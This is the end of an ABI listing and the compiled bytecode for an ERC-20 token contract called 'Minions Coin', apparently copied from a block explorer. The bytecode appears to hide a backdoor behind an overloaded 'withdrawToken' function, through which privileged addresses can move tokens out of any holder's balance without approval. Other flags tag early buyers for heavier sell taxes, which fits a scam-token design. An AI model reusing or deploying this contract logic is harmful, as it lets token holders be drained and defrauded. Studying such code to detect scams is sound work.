unction"},{"inputs":[],"name":"sellTaxGlobal","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"skipTheSnipas","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"token","type":"address"}],"name":"withdrawToken","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"withdrawToken","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"wl","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60a06040526040518060400160405280600c81526020017f4d696e696f6e7320436f696e0000000000000000000000000000000000000000815250600690816200004a919062000e7a565b506040518060400160405280600781526020017f4d494e494f4e53000000000000000000000000000000000000000000000000008152506007908162000091919062000e7a565b506103e860286b033b2e3c9fd0803ce8000000620000b0919062000f90565b620000bc91906200100a565b6008556103e860286b033b2e3c9fd0803ce8000000620000dd919062000f90565b620000e991906200100a565b60095561271060056b033b2e3c9fd0803ce80000006200010a919062000f90565b6200011691906200100a565b600a5573bc9ebf352d4326cad12300f17d708ce35f7418de600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061dead600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000601060016101000a81548160ff0219169083151502179055506000601060026101000a81548160ff0219169083151502179055506000601060036101000a81548160ff021916908315150217905550600060115560006012556000601355737dbf57e3589d87bbeea03baef53462c386e12206601560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055503480156200027357600080fd5b5060068054620002839062000c69565b80601f0160208091040260200160405190810160405280929190818152602001828054620002b19062000c69565b8015620003025780601f10620002d65761010080835404028352916020019162000302565b820191906000526020600020905b815481529060010190602001808311620002e457829003601f168201915b505050505060078054620003169062000c69565b80601f0160208091040260200160405190810160405280929190818152602001828054620003449062000c69565b8015620003955780601f10620003695761010080835404028352916020019162000395565b820191906000526020600020905b8154815290600101906020018083116200037757829003601f168201915b50505050508160039081620003ab919062000e7a565b508060049081620003bd919062000e7a565b505050620003e0620003d46200099160201b60201c565b6200099960201b60201c565b620003fe336b033b2e3c9fd0803ce800000062000a5f60201b60201c565b6003601060006101000a81548160ff0219169083600381111562000427576200042662001042565b5b02179055506000737a250d5630b4cf539739df2c5dacb4c659f2488d90508073ffffffffffffffffffffffffffffffffffffffff1660808173ffffffffffffffffffffffffffffffffffffffff16815250506001600e60006200048f62000bcc60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600e6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600e60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600e6000737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600e6000600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600e6000601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600d600060805173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600d6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600d60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600d6000600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600d6000601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550506200115d565b600033905090565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160362000ad1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162000ac890620010d2565b60405180910390fd5b62000ae56000838362000bf660201b60201c565b806002600082825462000af99190620010f4565b92505081905550806000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405162000bac919062001140565b60405180910390a362000bc86000838362000bfb60201b60201c565b5050565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b505050565b505050565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168062000c8257607f821691505b60208210810362000c985762000c9762000c3a565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b60006008830262000d027fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000cc3565b62000d0e868362000cc3565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b600062000d5b62000d5562000d4f8462000d26565b62000d30565b62000d26565b9050919050565b6000819050919050565b62000d778362000d3a565b62000d8f62000d868262000d62565b84845462000cd0565b825550505050565b600090565b62000da662000d97565b62000db381848462000d6c565b505050565b5b8181101562000ddb5762000dcf60008262000d9c565b60018101905062000db9565b5050565b601f82111562000e2a5762000df48162000c9e565b62000dff8462000cb3565b8101602085101562000e0f578190505b62000e2762000e1e8562000cb3565b83018262000db8565b50505b505050565b600082821c905092915050565b600062000e4f6000198460080262000e2f565b1980831691505092915050565b600062000e6a838362000e3c565b9150826002028217905092915050565b62000e858262000c00565b67ffffffffffffffff81111562000ea15762000ea062000c0b565b5b62000ead825462000c69565b62000eba82828562000ddf565b600060209050601f83116001811462000ef2576000841562000edd578287015190505b62000ee9858262000e5c565b86555062000f59565b601f19841662000f028662000c9e565b60005b8281101562000f2c5784890151825560018201915060208501945060208101905062000f05565b8683101562000f4c578489015162000f48601f89168262000e3c565b8355505b6001600288020188555050505b505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600062000f9d8262000d26565b915062000faa8362000d26565b925082820262000fba8162000d26565b9150828204841483151762000fd45762000fd362000f61565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000620010178262000d26565b9150620010248362000d26565b92508262001037576200103662000fdb565b5b828204905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602160045260246000fd5b600082825260208201905092915050565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b6000620010ba601f8362001071565b9150620010c78262001082565b602082019050919050565b60006020820190508181036000830152620010ed81620010ab565b9050919050565b6000620011018262000d26565b91506200110e8362000d26565b925082820190508082111562001129576200112862000f61565b5b92915050565b6200113a8162000d26565b82525050565b60006020820190506200115760008301846200112f565b92915050565b608051613bd6620011b86000396000818161092701528181610a9a01528181610b4501528181610c7801528181610cbf015281816110ec01528181611289015281816127ed015281816128e601526129890152613bd66000f3fe6080604052600436106102085760003560e01c8063751039fc11610118578063a457c2d7116100a0578063dd62ed3e1161006f578063dd62ed3e1461074d578063e5b37a651461078a578063ef437ff5146107c7578063f2fde38b146107f0578063fca675a8146108195761020f565b8063a457c2d71461067d578063a9059cbb146106ba578063aa4bde28146106f7578063b61b64fa146107225761020f565b80638c0b5e22116100e75780638c0b5e22146105a85780638da5cb5b146105d357806395d89b41146105fe5780639e281a9814610629578063a014f37d146106525761020f565b8063751039fc14610514578063883755631461052b57806389476069146105425780638baa82491461056b5761020f565b8063313ce5671161019b57806349bd5a5e1161016a57806349bd5a5e1461046057806354b762a61461048b5780635ea7e69a146104b657806370a08231146104c0578063715018a6146104fd5761020f565b8063313ce567146103a257806333ee1793146103cd57806339509351146103f85780633eb5d9b2146104355761020f565b80631694505e116101d75780631694505e146102d257806318160ddd146102fd57806323b872dd146103285780632fee9e7e146103655761020f565b806303fd2a45146102145780630445b6671461023f57806306fdde031461026a578063095ea7b3146102955761020f565b3661020f57005b600080fd5b34801561022057600080fd5b50610229610844565b6040516102369190612a60565b60405180910390f35b34801561024b57600080fd5b5061025461086a565b6040516102619190612a94565b60405180910390f35b34801561027657600080fd5b5061027f610870565b60405161028c9190612b3f565b60405180910390f35b3480156102a157600080fd5b506102bc60048036038101906102b79190612bbe565b610902565b6040516102c99190612c19565b60405180910390f35b3480156102de57600080fd5b506102e7610925565b6040516102f49190612c93565b60405180910390f35b34801561030957600080fd5b50610312610949565b60405161031f9190612a94565b60405180910390f35b34801561033457600080fd5b5061034f600480360381019061034a9190612cae565b610953565b60405161035c9190612c19565b60405180910390f35b34801561037157600080fd5b5061038c60048036038101906103879190612d01565b610982565b6040516103999190612c19565b60405180910390f35b3480156103ae57600080fd5b506103b76109a2565b6040516103c49190612d4a565b60405180910390f35b3480156103d957600080fd5b506103e26109ab565b6040516103ef9190612a94565b60405180910390f35b34801561040457600080fd5b5061041f600480360381019061041a9190612bbe565b6109b1565b60405161042c9190612c19565b60405180910390f35b34801561044157600080fd5b5061044a6109e8565b6040516104579190612a94565b60405180910390f35b34801561046c57600080fd5b506104756109ee565b6040516104829190612a60565b60405180910390f35b34801561049757600080fd5b506104a0610a14565b6040516104ad9190612c19565b60405180910390f35b6104be610a90565b005b3480156104cc57600080fd5b506104e760048036038101906104e29190612d01565b610d79565b6040516104f49190612a94565b60405180910390f35b34801561050957600080fd5b50610512610dc1565b005b34801561052057600080fd5b50610529610dd5565b005b34801561053757600080fd5b50610540610e05565b005b34801561054e57600080fd5b5061056960048036038101906105649190612d01565b610e95565b005b34801561057757600080fd5b50610592600480360381019061058d9190612d01565b610fba565b60405161059f9190612c19565b60405180910390f35b3480156105b457600080fd5b506105bd610fda565b6040516105ca9190612a94565b60405180910390f35b3480156105df57600080fd5b506105e8610fe0565b6040516105f59190612a60565b60405180910390f35b34801561060a57600080fd5b5061061361100a565b6040516106209190612b3f565b60405180910390f35b34801561063557600080fd5b50610650600480360381019061064b9190612bbe565b61109c565b005b34801561065e57600080fd5b506106676113cc565b6040516106749190612c19565b60405180910390f35b34801561068957600080fd5b506106a4600480360381019061069f9190612bbe565b611418565b6040516106b19190612c19565b60405180910390f35b3480156106c657600080fd5b506106e160048036038101906106dc9190612bbe565b61148f565b6040516106ee9190612c19565b60405180910390f35b34801561070357600080fd5b5061070c6114b2565b6040516107199190612a94565b60405180910390f35b34801561072e57600080fd5b506107376114b8565b6040516107449190612a94565b60405180910390f35b34801561075957600080fd5b50610774600480360381019061076f9190612d65565b6114be565b6040516107819190612a94565b60405180910390f35b34801561079657600080fd5b506107b160048036038101906107ac9190612d01565b611545565b6040516107be9190612c19565b60405180910390f35b3480156107d357600080fd5b506107ee60048036038101906107e99190612dd1565b611565565b005b3480156107fc57600080fd5b5061081760048036038101906108129190612d01565b6115c8565b005b34801561082557600080fd5b5061082e61164b565b60405161083b9190612e88565b60405180910390f35b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600a5481565b60606003805461087f90612ed2565b80601f01602080910402602001604051908101604052809291908181526020018280546108ab90612ed2565b80156108f85780601f106108cd576101008083540402835291602001916108f8565b820191906000526020600020905b8154815290600101906020018083116108db57829003601f168201915b5050505050905090565b60008061090d61165e565b905061091a818585611666565b600191505092915050565b7f000000000000000000000000000000000000000000000000000000000000000081565b6000600254905090565b60008061095e61165e565b905061096b85828561182f565b6109768585856118bb565b60019150509392505050565b600e6020528060005260406000206000915054906101000a900460ff1681565b60006012905090565b60125481565b6000806109bc61165e565b90506109dd8185856109ce85896114be565b6109d89190612f32565b611666565b600191505092915050565b60115481565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6016549081150290604051600060405180830381858888f19350505050158015610a80573d6000803e3d6000fd5b5060006016819055506001905090565b610a98612275565b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610b03573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b279190612f7b565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396307f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610bae573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bd29190612f7b565b6040518363ffffffff1660e01b8152600401610bef929190612fa8565b6020604051808303816000875af1158015610c0e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c329190612f7b565b601460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cbd307f00000000000000000000000000000000000000000000000000000000000000007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff611666565b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663f305d7193430610d0430610d79565b600080610d0f610fe0565b426040518863ffffffff1660e01b8152600401610d319695949392919061300c565b60606040518083038185885af1158015610d4f573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610d749190613082565b505050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610dc9612275565b610dd360006122f3565b565b610ddd612275565b6b033b2e3c9fd0803ce80000006008819055506b033b2e3c9fd0803ce8000000600981905550565b610e0d612275565b601060029054906101000a900460ff1615610e5d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e5490613121565b60405180910390fd5b6001601060026101000a81548160ff0219169083151502179055506001601060036101000a81548160ff021916908315150217905550565b610e9d612275565b8073ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401610f159190612a60565b602060405180830381865afa158015610f32573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f569190613141565b6040518363ffffffff1660e01b8152600401610f7392919061316e565b6020604051808303816000875af1158015610f92573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fb691906131ac565b5050565b600f6020528060005260406000206000915054906101000a900460ff1681565b60085481565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606004805461101990612ed2565b80601f016020809104026020016040519081016040528092919081815260200182805461104590612ed2565b80156110925780601f1061106757610100808354040283529160200191611092565b820191906000526020600020905b81548152906001019060200180831161107557829003601f168201915b5050505050905090565b6000600267ffffffffffffffff8111156110b9576110b86131d9565b5b6040519080825280602002602001820160405280156110e75781602001602082028036833780820191505090505b5090507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611155573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111799190612f7b565b8160008151811061118d5761118c613208565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505030816001815181106111dc576111db613208565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060008160018151811061122c5761122b613208565b5b60200260200101519050600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1661131f577f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663b6f9de958460008588426040518663ffffffff1660e01b81526004016112e894939291906132f5565b6000604051808303818588803b15801561130157600080fd5b505af1158015611315573d6000803e3d6000fd5b50505050506113c6565b61132984846123b9565b8073ffffffffffffffffffffffffffffffffffffffff166323b872dd858460018151811061135a57611359613208565b5b6020026020010151866040518463ffffffff1660e01b815260040161138193929190613341565b6020604051808303816000875af11580156113a0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113c491906131ac565b505b50505050565b60006113d6612275565b6003601060006101000a81548160ff021916908360038111156113fc576113fb612e11565b5b0217905550600060118190555060006012819055506001905090565b60008061142361165e565b9050600061143182866114be565b905083811015611476576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161146d906133ea565b60405180910390fd5b6114838286868403611666565b60019250505092915050565b60008061149a61165e565b90506114a78185856118bb565b600191505092915050565b60095481565b60165481565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600d6020528060005260406000206000915054906101000a900460ff1681565b61156d612275565b80600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6115d0612275565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff160361163f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116369061347c565b60405180910390fd5b611648816122f3565b50565b601060009054906101000a900460ff1681565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036116d5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116cc9061350e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611744576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161173b906135a0565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516118229190612a94565b60405180910390a3505050565b600061183b84846114be565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146118b557818110156118a7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161189e9061360c565b60405180910390fd5b6118b48484848403611666565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361192a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119219061369e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611999576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161199090613730565b60405180910390fd5b600d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611a3d5750600d60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611a9257601060029054906101000a900460ff16611a91576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a889061379c565b60405180910390fd5b5b600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611b365750600e60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611c2f57601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611c2e57600854811115611bd5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bcc9061382e565b60405180910390fd5b600954611be183610d79565b82611bec9190612f32565b1115611c2d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c24906138c0565b60405180910390fd5b5b5b6000819050600d60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611cd85750600d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561226457601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480611d865750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b1561217657600854821115611dd0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dc790613952565b60405180910390fd5b8373ffffffffffffffffffffffffffffffffffffffff16601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16148015611e775750600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611eaf57503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15611f815760006003811115611ec857611ec7612e11565b5b601060009054906101000a900460ff166003811115611eea57611ee9612e11565b5b03611f48576001600f60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b6000606460115484611f5a9190613972565b611f6491906139e3565b9050611f71853083612407565b8083611f7d9190613a14565b9150505b8273ffffffffffffffffffffffffffffffffffffffff16601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480156120285750600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561206057503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156120785750601060039054906101000a900460ff165b80156120915750601060019054906101000a900460ff16155b15612171576000601254905060011515600f60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515036120fb5760135490505b6001601060016101000a81548160ff02191690831515021790555061211e61267d565b6000601060016101000a81548160ff0219169083151502179055506000606482856121499190613972565b61215391906139e3565b9050612160863083612407565b808461216c9190613a14565b925050505b612263565b60011515600f60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514801561222457508273ffffffffffffffffffffffffffffffffffffffff16601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614155b1561226257600060646013548461223b9190613972565b61224591906139e3565b9050612252853083612407565b808361225e9190613a14565b9150505b5b5b61226f848483612407565b50505050565b61227d61165e565b73ffffffffffffffffffffffffffffffffffffffff1661229b610fe0565b73ffffffffffffffffffffffffffffffffffffffff16146122f1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122e890613a94565b60405180910390fd5b565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600030905060006123ca82856114be565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114612401576124008483858403611666565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603612476576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161246d9061369e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036124e5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124dc90613730565b60405180910390fd5b6124f0838383612744565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015612576576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161256d90613b26565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516126649190612a94565b60405180910390a3612677848484612749565b50505050565b600061268830610d79565b03156127425760008061269a30610d79565b9050600047905060006126ce600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610d79565b90506000600a5484111561273c574792506126ea84600061274e565b82476126f69190613a14565b9450600a54821115612722578061270e576000612710565b845b8561271b91906139e3565b6016819055505b84601660008282546127349190612f32565b925050819055505b50505050505b565b505050565b505050565b6000600267ffffffffffffffff81111561276b5761276a6131d9565b5b6040519080825280602002602001820160405280156127995781602001602082028036833780820191505090505b50905030816000815181106127b1576127b0613208565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612856573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061287a9190612f7b565b8160018151811061288e5761288d613208565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250503073ffffffffffffffffffffffffffffffffffffffff1663095ea7b37f00000000000000000000000000000000000000000000000000000000000000007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161294392919061316e565b6020604051808303816000875af1158015612962573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061298691906131ac565b507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663791ac94784848430426040518663ffffffff1660e01b81526004016129e8959493929190613b46565b600060405180830381600087803b158015612a0257600080fd5b505af1158015612a16573d6000803e3d6000fd5b50505050505050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612a4a82612a1f565b9050919050565b612a5a81612a3f565b82525050565b6000602082019050612a756000830184612a51565b92915050565b6000819050919050565b612a8e81612a7b565b82525050565b6000602082019050612aa96000830184612a85565b92915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612ae9578082015181840152602081019050612ace565b600084840152